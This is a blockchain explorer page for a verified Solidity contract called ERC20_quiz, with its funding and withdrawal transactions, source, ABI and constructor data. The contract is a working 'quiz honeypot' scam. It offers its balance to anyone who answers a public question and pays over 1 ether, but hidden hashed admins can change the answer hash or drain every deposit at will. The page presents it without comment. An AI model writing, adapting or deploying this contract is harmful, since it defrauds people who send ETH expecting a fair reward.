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Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop161886502022-12-15 7:37:59754 days ago1671089879IN
0x235Cd674...34b8afE81
0 ETH0.0003688612.10000001
Start161639892022-12-11 20:55:35757 days ago1670792135IN
0x235Cd674...34b8afE81
25 ETH0.0003338712.10000001

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
161886502022-12-15 7:37:59754 days ago1671089879
0x235Cd674...34b8afE81
25 ETH
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Contract Source Code Verified (Exact Match)

Contract Name:
ERC20_quiz

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2022-12-11
*/

contract ERC20_quiz
{
    function Try(string memory _response) public payable
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
        {
            payable(msg.sender).transfer(address(this).balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string calldata _question, string calldata _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(abi.encode(_response));
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        payable(msg.sender).transfer(address(this).balance);
    }

    function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] memory admins) {
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(abi.encodePacked(msg.sender))]);
        _;
    }

    fallback() external {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"bytes32[]","name":"admins","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"bytes32","name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"string","name":"_response","type":"string"}],"name":"Start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_response","type":"string"}],"name":"Try","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"question","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]

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Deployed Bytecode

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Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000038f516e660a45b07f974f9db5f73024b05816946e7f067eab7b4ed33cfe7e569cb2ea7218c58eb14249afa5b09ae6c5d7143e0874f4b6493e0e617bf2031e4f1f27389f6aca7c3a1a1b222d062f3882190d3a195ab438a41986bf4f747b40ce0f

-----Decoded View---------------
Arg [0] : admins (bytes32[]): System.Byte[],System.Byte[],System.Byte[]

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [2] : 8f516e660a45b07f974f9db5f73024b05816946e7f067eab7b4ed33cfe7e569c
Arg [3] : b2ea7218c58eb14249afa5b09ae6c5d7143e0874f4b6493e0e617bf2031e4f1f
Arg [4] : 27389f6aca7c3a1a1b222d062f3882190d3a195ab438a41986bf4f747b40ce0f


Deployed Bytecode Sourcemap

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Swarm Source

ipfs://55264af72717e2d2c1cd447bb5c3e8b46b273cdf16309aa160bd696c3aceee3f

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